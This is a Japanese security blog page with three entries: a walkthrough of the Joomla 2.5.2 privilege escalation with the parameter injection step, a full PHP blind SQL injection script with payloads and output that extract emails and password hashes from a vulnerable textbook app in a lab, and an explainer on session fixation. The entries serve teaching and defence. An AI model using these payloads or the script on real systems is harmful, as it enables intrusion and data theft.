プライバシーポリシー

2012年12月21日金曜日

Joomla2.5.2の権限昇格脆弱性

このエントリでは、Joomla!2.5.2まで(1.6.x、1.7.xも含む)に存在した権限昇格の脆弱性について説明します。 

今年5月16日に、情報通信研究機構(NICT)から以下のプレスリリースがありました。
1. 事案の概要
発生時間:
2012年5月1日14時18分~17時17分
発生場所:
研究者の情報交換のためNICT が外部公開用に設置しているWebサーバ
http://mastarpj.nict.go.jp/
サービス概要:
本Webサーバには、主に過去に開催した音声翻訳関連の研究に関する会議の情報が保存され、Webで公開するために稼働させていました。(現在は運用を停止)
2. 被害の状況
  • 上記Webサーバのトップページ(index.html)が改ざんされました。
  • 会議参加者等に係る個人情報は当該Webサーバ上にはなく、個人情報の流出はありません。
  • 詳細なアクセス解析等の結果、当該Webサーバ以外のNICTのサーバへの侵入は認められませんでした。
  • 改ざんされたトップページには、マルウェア(不正プログラム)や他の不正サイトへ誘導するリダイレクトコードの挿入等は認められませんでしたので、当該ページにアクセスされた一般ユーザの方への二次被害はありません。
http://www.nict.go.jp/info/topics/2012/05/announce120516.html
あのNICTが侵入されたということで一部で衝撃が走った(大げさ?)ようですが、NICTのオフィシャルホームページではなく、研究者が独自に設置したサイトが攻撃を受けてしまったようですね。
原因については下記のように説明されました。
3. 直接的な原因
当該Webサーバにおいて使用していたコンテンツマネジメントシステム(CMS)Joomla!2.5.1では、研究者の情報交換が円滑に行われるよう、一般ユーザ権限のアカウントを管理者のチェックなしに取得できる設定※1としていましたが、その取得の際に不正な情報を入力すること等によって一般ユーザ権限のアカウントが管理者権限のアカウントに昇格されるという脆弱性をもっていました。
このため、CMSの管理者権限のアカウントが不正に取得され、そのアカウントを用いてトップページが改ざんされました。
なお、最新※2バージョンのJoomla! 2.5.4では、今回の不正なアクセスに係る脆弱性は解消されておりますが、当該Webサーバにおいてはバージョンアップを怠っていたものです。
※1 アカウント登録方法を "Self " に設定
※2 平成24年5月15日現在
NICT は、この度の事案を重く受け止め、事実関係の調査で得られた結果を踏まえ、再発防止のための対策を講じ、更なるセキュリティ強化に取り組んでまいります。
http://www.nict.go.jp/info/topics/2012/05/announce120516.html
Joomla!2.5.1には存在し、Joomla!2.5.4では改修されている脆弱性を探したところ、以下が該当するようです。
[20120303] - Core - Privilege Escalation
中味を見ても、たいしたことは書いておらず、ネットをさらに調べたところ、以下に詳細が書いてありました。
Jeff Channell | Joomla! 1.6/1.7/2.5 Privilege Escalation Vulnerability | Joomla! | jeffchannell.com
この権限昇格の攻撃方法はまことに興味深いものです。以下、上記のエントリの内容に従い、Joomla! 2.5.2の攻撃方法とその原因、対策について説明します。

攻撃方法

まず、試験環境について説明します。Joomla!2.5.1(侵入されたNICTと同じバージョン)の管理コンソールです。左下に「Joomla! 2.5.7を今すぐアップデート」と見えていますが、アップデートすると脆弱性を試せないので、このままログアウト(退出ボタン)します。


これから先は、攻撃者の視線です。Joomla!の画面左下に、「アカウントの作成」と言うリンクが見えます。これは、一般ユーザとしてコミュニティに参加するための機能でしょうね。設定により禁止することもできますが、侵入されたサイトでは、研究者が自らユーザ登録するようにしていたようです。


 「アカウントの作成」リンクをクリックして、下記のように入力します。

 ここで、画面上では見えませんが、「パスワードの再入力」をわざと間違っておきます。ここでは、パスワードをそれぞれevil1、evil2としています。
ここから、登録ボタンを押すのですが、その際にパラメータを1つ追加する必要があります。方法はなんでもよいのですが、ここではBurp Suiteを使って追加します。

 画面の下に見えるように、「&jform[groups][]=7」は後から追加したものです。後はそのまま流します。

 パスワードが一致していないというエラーメッセージが表示されるので、今度は同じパスワードを入力して登録ボタンをクリックします。
ここから、管理画面に遷移して、今登録したevil(一般ユーザのはず)でログインしてみましょう。

攻撃者は、先ほど登録したユーザ名とパスワードを入力して、ログインボタンをクリックします。すると、管理者権限がないはずなのに、管理者としてログインできてしまいます。

ユーザメニューから、自らの権限を確認しましょう。

 evilユーザは、「システム管理者」の権限があります。これは2番目に強い権限です。最高の権限は「最高管理者」ですが、システムに一人しかいないので、新たに追加はできません。
攻撃者は、管理者権限を得ることができましたので、Joomla!のCMSとしての機能を悪用して、サイト改ざんができることになります。

脆弱性の原因

ここまで見た攻撃方法は、入力パラメータに権限の指定を追加するところは、「ありがち」なものですが、単にそうしただけでは駄目で、最初にパスワードの入力を不整合にしないと攻撃が成立しないところが面白いですね。

Joomla!2.5.2と2.5.3の該当箇所の差分を見ると、以下のようになっています。


components/com_users/models/registration.php getData() 関数内

2.5.2: $this->data->groups = isset($this->data->groups) ? array_unique($this->data->groups) : array();
2.5.3: $this->data->groups = array();

2.5.3では、groupsプロパティを強制的に空にしたようですね。これは対症療法ですので、根本原因はここではありません。
この少し上を見ると、以下の処理があります。


 $temp = (array)$app->getUserState('com_users.registration.data', array());
 foreach ($temp as $k => $v) {
   $this->data->$k = $v;
 }

これは、セッションに保存した内容をすべて$this->dataに追加しています。匂いますね。このセッション変数をセットしている箇所はどこでしょうか。幸い、com_users.registration.dataというラベルがついているので、探索は容易です。以下の箇所でセットしていました。registrationのコントローラですね。


components/com_users/controllers/registration.php register()関数

 $data = $model->validate($form, $requestData);
 // Check for validation errors.
 if ($data === false) {
   // Save the data in the session.
   $app->setUserState('com_users.registration.data', $requestData);
   // Redirect back to the registration screen.
   $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false));
   return false;
 // 中略
 // バリデーションが正常の場合
 // Flush the data from the session.
 $app->setUserState('com_users.registration.data', null);

ご覧のように、バリデーションのエラーになった場合、リクエストのデータをすべてセッションに放り込んでいます。バリデーションが正常の場合は、セッションにはnullをセットしているので、これはおそらくデータの再入力画面を表示するための処理でしょうね。
すなわち、以下の経路で、不正に指定した権限がセットされてしまったようです。
  1. パスワードをわざと不整合にしておく
  2. ユーザ登録時に jforms[groups][]=7 をPOSTパラメータに追加
  3. パリデーションでエラー発生
  4. 再入力に備えてリクエストのパラメータをすべてセッションに保存(コントローラ)
  5. モデル側で、セッションの中味をすべて取り込み
  6. 2.で追加したgroupsが取り込まれる
これに対して、Joomla! 2.5.3では、強制的に権限パラメータ(groups)を空にするという対処がなされましたが、いかにも対症療法ですね。
本来は、コントローラーからセッションに取り込む際に、「来たものをすべて取り込む」のではなく、「セッションに保存するパラメータのみを明示的に指定して取り込む」ようにすべきです。

対策

Joomla!ユーザがとるべき対処は、Joomla!の最新版へのバージョンアップです。冒頭の管理画面で、「Joomla! 2.5.7を今すぐアップデート」というボタンが見えていました。思い切って、このボタンをクリックしてみましょう。


上記の画面が表示されるので、Joomlaの行をチェックして、「更新」ボタンをクリックします。数分すると、以下の画面が表示されます。



あれあれ、Joomla!の2.5.7を導入するはずが、2.5.8が導入されています。このあたり、ちょっとゆるい感じですが、最新版は2.5.8ですのでよいことにしましょう。

最新版で攻撃を試す

念のため、この最新版で先ほどと同じ攻撃をしてみましょう。途中の過程は省略しますが、登録したユーザ(evil2)で管理者ログインしようとすると、以下のようにエラーになります。


大丈夫のようですね。念のため、正規の管理者でログインして、ユーザ一覧を確認します。

evil2は「登録ユーザ」のみで、管理者権限はありません。確かに、攻撃は成立していないようですね。

まとめ

Joomla! 2.5.2までに存在した権限昇格の脆弱性([20120303] - Core - Privilege Escalation)について説明しました。
この脆弱性を確認するために初めてJoomla!を導入しましたが、とても簡単に導入できることに驚きました。Joomla!が簡単に使えて、高機能なために人気があるというのはよく分かります。しかし、一方で脆弱性が多く発見されており、攻撃対象として狙われているため、Joomla!を導入する場合は、常に最新版にアップデートしないと危険です。

もしも、継続的なアップデート作業が難しいと言う場合は、自らJoomla!を導入するのではなく、適当なサービスをユーザとして使うことも検討すべきだと考えます。

2012年12月20日木曜日

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012

この記事はPHP Advent Calendar 2012の20日目です。昨日はTakayuki Miwaさんの「ComposerとHerokuではじめる!PHPクラウド生活」でした。

以前、「『よくわかるPHPの教科書』のSQLインジェクション脆弱性」というタイトルで、同書のSQLインジェクション脆弱性について説明しましたが、SQLインジェクション脆弱性のあるSQL文がDELETE FROMだったので、先のエントリでは、脆弱性の悪用方法としてはデータ(ミニブログの記事)の削除を説明しました。簡単に「全ての記事を削除できる」ので重大な脆弱性ではありますが、個人情報などが漏洩する例ではありませんでした。
このエントリでは、ブラインドSQLインジェクションという技法により、DELETE FROM文の脆弱性から、個人情報を得る手法を説明します。

脆弱性のおさらい

ここで、脆弱性のおさらいをしましょう。問題の箇所は同書P272のdelete.phpです。要点のみを示します。

$id = $_REQUEST['id']; // $id : 投稿ID
$sql = sprintf('SELECT * FROM posts WHERE id=%d', mysql_real_escape_string($id)
$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch_assoc($record);
if ($table['member_id'] == $_SESSION['id']) { // 投稿者であれば削除
  mysql_query('DELETE FROM posts WHERE id=' . mysql_real_escape_string($id)) or die(mysql_error());
}

ここには2つのSQL文が登場しますが、脆弱性があるのはDELETE FROMの方です。これがなぜ脆弱性なのかという理由については、先のエントリを参照ください。

情報漏洩の可能性はないのか?

前述のように、任意の記事を削除することは簡単にできてしまい、これ自体重大な問題ですが、「個人情報は漏洩するのか」という点に関心を持つ方も多いことでしょう。
一般論として、SQLインジェクション攻撃により情報を窃取する方法として下記があります。
  • UNION SELECTを用いる
  • エラーメッセージに情報を埋め込む
  • ブラインドSQLインジェクションを用いる
まず、UNION SELECTはこのケースでは使えません。UNION SELECTは、脆弱性のあるSQL文がSELECT文である場合に、別のテーブルと検索条件を追加することにより、本来表示されない情報を表示させる手法です。問題のケースでは元のSQL文がDELETE FROMなので、UNION SELECTは使えませんし、そもそも情報を表示する機能が元々ありません。

エラーメッセージを使う方法は、徳丸本でも説明しているものです。同書P121には下記の問い合わせにより、「本来表示されない情報」を表示させています。

cast((select id||':'||pwd from users offset 0 limit 1) as integer)

これは、表usersから、先頭の行を取り出し、列IDと列pwdを連結した文字列を数値にキャストしています。しかし、数値には変換できない文字が混ざっているために、以下のエラーメッセージが表示されています。

Query failed: ERROR: 型integerの入力構文が無効です: "yamada:pass1" in /var/wwww/44/44-001.php on line 7

しかし、MySQLの場合、上記と同じことをしてもエラーになりません。

mysql> select cast('yamada:pass1' as SIGNED );
+---------------------------------+
| cast('yamada:pass1' as SIGNED ) |
+---------------------------------+
|                               0 |
+---------------------------------+
1 row in set, 1 warning (0.00 sec)

金床本では、load_file関数の「存在しないファイル名」としてエラーメッセージ中に、クエリ結果を混入させる手法が紹介されていますが、手元のMySQL5.1.63で試したところ、下記のようにエラーメッセージは表示されず、単にNULLが返りました。金床本のリファレンスとするMySQLは4.1.16なので、MySQLのバージョン違いによるものと思います。

mysql> select load_file('xxxx');    # xxxxは存在しないファイル名
+-------------------+
| load_file('xxxx') |
+-------------------+
| NULL              |
+-------------------+
1 row in set (0.00 sec)

それでは、MySQLではエラーメッセージからの情報漏洩はできないのかというと、寺田さんのブログ記事「MySQLのエラーメッセージ」にその方法が載っています。MySQLのextractvalue関数を使う方法です。extractvalue関数は、XPATH式に従って文字列の切り出しをするものです。以下のように使います。

mysql> select extractvalue('<a><b>xss</b></a>', '/a/b');
+-------------------------------------------+
| extractvalue('<a><b>xss</b></a>', '/a/b') |
+-------------------------------------------+
| xss                                       |
+-------------------------------------------+
1 row in set (0.00 sec)

extractvalue関数の第2引数はXPATH式を指定しますが、これが構文エラーの場合、以下のようにエラーになります。

mysql> SELECT extractvalue('<a><b>xss</b></a>', '/$this is a pen');
ERROR 1105 (HY000): XPATH syntax error: '$this is a pen'

これを用いて、情報を漏洩させることができます。'this is a pen'の代わりに、SQLの副問い合わせを指定すればよいことになります。下記に例を示します。

mysql> SELECT extractvalue('',concat('/$',(SELECT email FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

上記は、members表の1行目のemail列の値を副問い合わせで指定しており、「tokumaru@example.jp」を得ました。これを繰り返せば、任意表の、任意行、任意列を得ることができます。email列とpassword列を一度に得たければ、以下のようにします。

mysql> SELECT extractvalue('',concat('/$',(SELECT concat(email,':',password) FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp:5baa61e4c9b'

おっと、パスワードはSHA-1ハッシュ値(40文字)で格納されているのに、途中でちぎれていますね。$まであわせて32文字しか表示されないようです。これを回避するには、部分文字列の関数を用いて、何回かにわけて取得すればよいでしょう。具体例は割愛します。

さて、上記をSQLインジェクション攻撃に応用しましょう。email列の取得に戻りますが、mysql_real_escape_string関数が呼ばれているので、シングルクォートは攻撃に使えません。そのため、文字列はchar関数を使って指定します。

mysql> select char(65, 66, 67);
+------------------+
| char(65, 66, 67) |
+------------------+
| ABC              |
+------------------+

先の、email列を取得するSQL文は下記となります。

mysql> select extractvalue(char(60),concat(char(47,36),(select email from members limit 1 offset 0)));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

シングルクォートを使っていないので、mysql_real_escape_string関数を回避できますね。
これを副問い合わせの形で指定してやるわけですが、攻撃対象のスクリプトはSQL文を2回呼び出しており、1回目はSQLインジェクション脆弱性がなく、当該の文書IDの投稿者でないと、2回目のSQL文が呼び出されません。このため、このチェックを回避してやる必要があります。

SELECT * FROM posts WHERE id= 文書IDを数値化したもの
DELETE FROM posts WHERE id= 文書IDそのまま

1回目はsprintfの%d書式により、指定した文書IDは数値化され、2回目は数値化がありません。これを利用します。攻撃者が投稿した文書のIDが35だと仮定して、以下のように指定すればこのチェックを回避できます。文書IDとして下記を指定します。

35-(攻撃用副問い合わせ)

これを呼び出すと、1回目は数値化により-(引き算)以降が削除され、投稿者のチェックは通り抜けます。2回目は数値がないので、全体がSQL文として解釈されます。URLと実行結果を以下に示しましょう。

http://example.jp/minibbs/delete.php?id=35-(select+extractvalue(char(60),concat(char(47,36),(select+email+from+members+limit+1+offset+0))))


無事に(?)email列が表示できました。表名、列名、offset値を変更すれば、データベース内の任意の情報が取得できます。

ブラインドSQLインジェクション

SQLインジェクション攻撃により情報を窃取する第3の方法として、ブラインドSQLインジェクション攻撃があります。これは、クエリの結果が表示されない前提で、SQLインジェクションによりデータを盗みだす手法です。
ブラインドSQLインジェクションにも複数の方法があります。
  • 問い合わせ結果をファイルに書き出すSQL文等を使う
  • SQL文の実行結果から1ビットの情報を得て、それを繰り返す
MySQLの場合ファイルに書き出すには、SELECT ~ INTO OUTFILE構文が使えますが、私が試した範囲では、DELETE文にうまくはめこむことができませんでした。それに、書き出しができたとして、それを取り出す手段が別途必要です。簡単なのは、Webの公開領域に書き込むという方法ですが、MySQLの実行権限ではApacheのドキュメントルートに書き込むことはできない場合が多いと考えられます。PHPのセッションファイルが/tmp/ (など誰でも書き込めるディレクトリ) に置かれる場合、PHPのセッション形式にあわせて書き込んでおくという方法もありますが、このミニブログの場合、セッションの中味をそのまま表示する箇所がなさそうです。つまり、うまくいきません。

そこで、SQL文の問い合わせから1ビットの情報を取り出す手段を考えます。具体的には下記があります。
  • 実行の時間差を使う
  • データの更新・削除の成功・失敗を使う
  • レスポンスのステータスの違い(200と500等)を使う
  • SQL文からping等通信手段を呼び出す
  • SQL文の実行エラーを使う(厳密なブラインドではない)
実行の時間を使うには、MySQLのsleep関数が利用できます。以下は、members表の1行目、email列の1文字目が'a'であれば3秒待つ問い合わせ。実際には't'なので、直ちにnullが返ります。

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null) |
+----------------------------------------------------------------------------------+
|                                                                             NULL |
+----------------------------------------------------------------------------------+
1 row in set (0.01 sec)

以下は、同じく一文字目が't'であれば3秒待つ問い合わせ。't'なので約3秒待っていますね。

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null) |
+----------------------------------------------------------------------------------+
|                                                                                0 |
+----------------------------------------------------------------------------------+
1 row in set (3.02 sec)

これは理論的には正しく動きますが、容易に想像されるように膨大な時間がかかるので、「最後の手段」という感じになります。

また、副問い合わせを調節して、条件が成立すれば削除、しなければ削除しない、というSQL文も書けますが、削除できたかどうかを問い合わせるリクエストと、削除した行を「補充する」リクエストが余分に必要です。
ということで、ここでは完全なブラインドではありませんが、エラーメッセージを使うことにします。
といっても、先のextractvalue関数を使うとブラインドにする意味がないので、ここではESCAPE句を使うことにします。
ESCAPE句というのは、SQL文のLIKE述語において、ワイルドカード文字「%」や「_」をエスケープする文字を指定する手段です。以下は、#をエスケープ文字として指定して、%を含む行を問い合わせるSQL文です。

mysql> SELECT * FROM members WHERE email LIKE '%#%%' ESCAPE '#';
Empty set (0.00 sec)

ESCAPE句に指定する文字は1文字でなければならず、それ以外はエラーになります。

mysql> SELECT * FROM members WHERE email LIKE '#%' ESCAPE '##';
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

これを利用して、1ビットの情報を得ることができます。

先ほどと同様に、一文字目が 'a' かどうかを問い合わせて、'a'ではないので、ESCAPE句が 'AB' (2文字)となり、エラーとなる例。

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a', 'A','AB');
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

先ほどと同様に、一文字目が 't' かどうかを問い合わせて、真なので、ESCAPE句が 'A' (1文字)となり、エラーにはならない例。

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't', 'A','AB');
Empty set (0.00 sec)

これを何回も繰り返すことにより、テーブルの内容を盗み出すことができます…が、さすがに人手でやるのは苦行なので、スクリプトでやります。

…ということで、実は今までは長い前置きで、ここからが本題ですw ブラインドSQLインジェクション攻撃のスクリプトをPHPで書いてみましょう。

ブラインドSQLインジェクションのPHPスクリプト

攻撃対象とはHTTPで接続するので、適当なHTTP接続ライブラリが必要になりますが、ここではcURL関数を使いました。前にphpMyAdminのexploitで使っていたので、試してみたかっただけです。

スクリプトの中味ですが、攻撃対象は認証が必要ですので、Cookieを有効にして、IDとパスワード(攻撃用の捨てアカウント)をPOSTします。

<?php
define('BASEURL', 'http://192.168.0.10');
define('DOCID', 18);    // 攻撃者が投稿した文書のID
// 略
// cURL初期化
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

// 以下、ログイン
curl_setopt($ch, CURLOPT_URL, BASEURL . '/minibbs/login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=sato@example.jp&password=password&save=on');
curl_exec($ch);

この状態で、sato@example.jpでログインしてリクエストができるようになります。
攻撃で得る情報は、members表のemailとpassword列にしましょう。これらの文字種は、英数字、ドット、ハイフン、アンダースコアとして、これらの文字の集合を求めましょう。バイナリサーチの都合で文字コード順に並べておきます。

// $chars .. 探索候補文字のコードの配列
$chars = array();
for ($ch = 32; $ch < 128; $ch++) {
  if (preg_match('/[\.\-\_\@0-9A-Z]/', chr($ch))) {
    $chars[] = $ch;
  }
}

探索のループは以下のようになります。行、列、n文字目の三重ループがあり、そのなかで、おおまかな範囲を二分探索で絞り、そこからリニアサーチで該当文字を求めています。

// 表の1行目から3行目を求めるループ
for ($num = 0; $num < 3; $num++) {
  // 列emailと列passwordを求めるループ
  foreach (array('email', 'password') as $colname) {
    $result = '';
    // 1文字目から順に求めるループ
    for ($p = 1;; $p++) {
      // 解が得られているかどうかのチェック
      $result_array = char_array($result);
      if (check1($ch, "(SELECT $colname FROM members LIMIT $num,1)=$result_array")) {
        echo "match : $result\n";  // 解が得られているので表示してループ脱出
        break;
      }
      // 以下、$p文字目を求める二分探索。ここでは大ざっぱな範囲の絞り込みのみ
      $min = 0;
      $max = count($chars) - 1;
      while ($max - $min > 2) {
        $pivot = $min + ceil(($max - $min) / 2);  // ピボットの位置を計算
        $chrcode = $chars[$pivot];   // ピボットの位置の文字コード
        if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)>=char($chrcode)")) {
          $min = $pivot;
        } else {
          $max = $pivot - 1;
        }
      }

      // 以下、$p文字目を求める線形探索
      $found = 0;
      for ($pivot = $min; $pivot <= $max; $pivot++) {
        $chrcode = $chars[$pivot];
        if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)=char($chrcode)")) {
          $found = 1;
          break;
        }
      }
      if (! $found) {
        echo "not found\n";
        break;
      }
      $result .= chr($chars[$pivot]);
    }
  }
}

check1関数は、ブラインドSQLインジェクションの一リクエストを組み立てて送信するものです。
function check1($ch, $condition) {
  // ESCAPE句によるブラインドの定型的なSQL文
  $subquery = "(SELECT id FROM members WHERE id LIKE char(88) ESCAPE if($condition,char(49),char(49,50)))";
  $url = BASEURL . '/minibbs/delete.php?id=' . DOCID . '-' . urlencode($subquery);
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, 0);
  $response = curl_exec($ch);   // HTTPリクエスト発射
  return ! preg_match('/Incorrect/', $response);  // エラーメッセージがレスポンスになければTRUE
}
また、char_array()関数は、文字列をMySQLのchar()関数の呼び出しに変換して、シングルクォートを回避するための関数です。
function char_array($s) {
  if ($s === '')
    return 'char(0)';
  return 'char(' . implode(',', unpack('C*', $s)) . ')';
}

実行結果を以下に示します。1行あたり1秒程度で求められていますから、結構実用的ですね。
$ time php blindsqlinjection.php
match : TOKUMARU@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : SATO@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : YAMADA@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8

real    0m2.977s
user    0m0.004s
sys     0m0.508s

高速化するためには、クエリを並列化すればよいでしょう。一番外側のループをスレッド(あるいはプロセス)に割りあてて並行処理させると高速化できます。ただし、サーバーに負荷がかかり、ばれやすくなりますので、むしろゆっくり時間を掛けて攻撃した方がよいかもしれません(攻撃するなよ、絶対するなよ)。
サーバーのログを見ると、以下のようなリクエストが並びます。

192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2872%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2867%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2864%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%3Dchar%2853%2C66%2C65%2C65%2C54%2C49%2C69%2C52%2C67%2C57%2C66%2C57%2C51%2C70%2C51%2C70%2C48%2C54%2C56%2C50%2C50%2C53%2C48%2C66%2C54%2C67%2C70%2C56%2C51%2C51%2C49%2C66%2C55%2C69%2C69%2C54%2C56%2C70%2C68%2C56%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -

まとめ

『よくわかるPHPの教科書』の脆弱性のあるサンプルを題材として、SQLインジェクション攻撃により個人情報を窃取する方法を説明しました。善良な皆様が攻撃方法を深く理解する必要はないわけですが、ここに示すような手法を駆使して、攻撃者は情報をとっていくという、その様子を理解いただければ幸いです。
当然ながら、インターネット上のサイトにこの種の攻撃をかけると、不正アクセス禁止法その他の法令違反ですので、試験環境での実験にとどめて下さい。

2012年12月17日月曜日

セッションフィクセイション脆弱性の影響を受けやすいサイトとは

最近、セッションフィクセイション脆弱性に対する関心がなぜか高まっています。同脆弱性は割合地味な脆弱性であり、話題になることはあまりありません。そこで、関心の高いこの時期に、セッションフィクセイション脆弱性の影響を受けやすいサイトについて説明し、注意を喚起したいと思います。

セッションフィクセイション脆弱性とは

セッションフィクセイション(セッションIDの固定化)脆弱性は、なんらかの方法で利用者(被害者)のブラウザ上でセッションIDを強制的に指定して、その後利用者がログインしたタイミングで、攻撃者が「ログイン済みのセッションID」を知ることができるという脆弱性です。「安全なウェブサイトの作り方(改訂第五版)」P17から図を引用します。


図の「2.何らかの方法で自分が取得したセッションIDを利用者に送り込む」手法は、安全なウェブサイトの作り方では説明されていません。そこで、以下に「セッションIDを利用者に送り込む」手法について説明します。

セッションIDを送り込む方法(1) URL埋め込みのセッションID

携帯電話向けコンテンツなどで、セッションIDをURLに埋め込んでいるサイトがあります。この場合は、セッションIDを埋め込んだURLをリンクとして用意しておき、利用者に閲覧させるだけでセッションIDを送り込むことができます。
しかし、この場合、利用者が罠のリンクを踏んだ後、他のサイトに遷移する前に攻撃対象サイトにログインしないと、セッションフィクセイション攻撃は成立しません。

セッションIDを送り込む方法(2) Cookieに保存したセッションID

多くのWebサイトでは、セッションIDをCookieに保存しています。この場合、ブラウザかWebアプリケーションに脆弱性があれば、セッションIDを利用者のCookieに送り込むことができます。

(1)ブラウザのバグ(Cookie Monster Bug)
IEには、地域型JPドメイン名および都道府県型JPドメイン名に対して、Cookie Monster Bugというバグ(脆弱性)があります。たとえば、domain=tokyo.jpという属性のCookieをIEは受け入れてしまいます。
都道府県型JPドメイン名は、日本に住所を持つ個人・法人なら誰でも取得できるため、攻撃者がexample.tokyo.jpを取得して、そこに domain=tokyo.jp 属性のCookieをセットする罠を仕掛け、例えばwww.metro.tokyo.jp(東京都のホームページ)にも有効なセッションIDを利用者に「送り込む」ことが可能です(東京都のホームページはあくまで一例です)。

(2)CookieをセットできるWebアプリケーション脆弱性
攻撃対象のサイトにXSS脆弱性や、HTTPヘッダインジェクション脆弱性があると、そのサイトの利用者にCookieを送り込むことができる場合があります。
XSSやHTTPヘッダインジェクション脆弱性は単独でもなりすまし攻撃可能な場合が多いのですが、例えばリダイレクト処理にHTTPヘッダインジェクション脆弱性がある場合、「HTTPボディにJavaScriptは埋め込めないが、Cookieのセットならでき」ます。この場合、HTTPヘッダインジェクション攻撃とセッションフィクセイション攻撃の合わせ技で、なりすましができることになります。

(3)サブドメインを踏み台にした攻撃
当該サイトに脆弱性がなくても、同じドメイン上の別ホストに脆弱性がある場合、脆弱性のあるホスト上でセットしたCookieによりセッションフィクセイション攻撃ができます。これはブログ記事「セッションアダプションがなくてもセッションフィクセイション攻撃は可能」で攻撃例として示した方法です。

また、地域型JPドメイン名や都道府県型JPドメイン名の上のサイトにXSSやHTTPヘッダインジェクション脆弱性がある場合、同じ都道府県に有効なCookieをセットして、同じ都道府県の地域型JPドメイン名や都道府県型JPドメイン名のサイトにセッションフィクセイション攻撃を仕掛けることができます。たとえば、サイトexample.tokyo.jpにXSS脆弱性がある場合、これを悪用して domain=tokyo.jpのCookieを指定することにより、例えばwww.metro.tokyo.jp(東京都のホームページ)にも有効なセッションIDを「送り込む」ことが可能です。

影響を受けやすいサイト

ここまで、セッションフィクセイション攻撃の経路を示しました。上記から、セッションフィクセイション攻撃の影響を受けやすいサイトは下記に示す性質のものです。

  • URLにセッションIDを埋め込んでいるサイト
  • 地域型JPドメイン名または都道府県型JPドメイン名を用いているサイト
  • サブドメイン形式のレンタルサーバー
  • サブディレクトリ形式のレンタルサーバー
  • 同じドメイン上に脆弱なサイトがある(可能性の高い)サイト
  • HTTPヘッダインジェクション(などCookie設定可能な)脆弱性のあるサイト

対策

ここまで「セッションIDを送り込む」方法と、それが可能な条件を示しましたが、条件に該当するサイトが直ちに危険という訳ではありません。一般的に、「セッションIDが送り込まれてしまう」ことを防ぐことは困難な場合があるため、これを受け入れ、「セッションIDが送り込まれてもセッションハイジャックはされない」ように対策することが一般的です。
その方法は、「安全なウェブサイトの作り方」(P19)に下記のように書かれています。
ログインが成功した時点から新いセッションを開始する(新しいセッションIDでセッション管理をする)ようにします。また、新しいセッションを開始する際には、既存のセッションIDを無効化します。
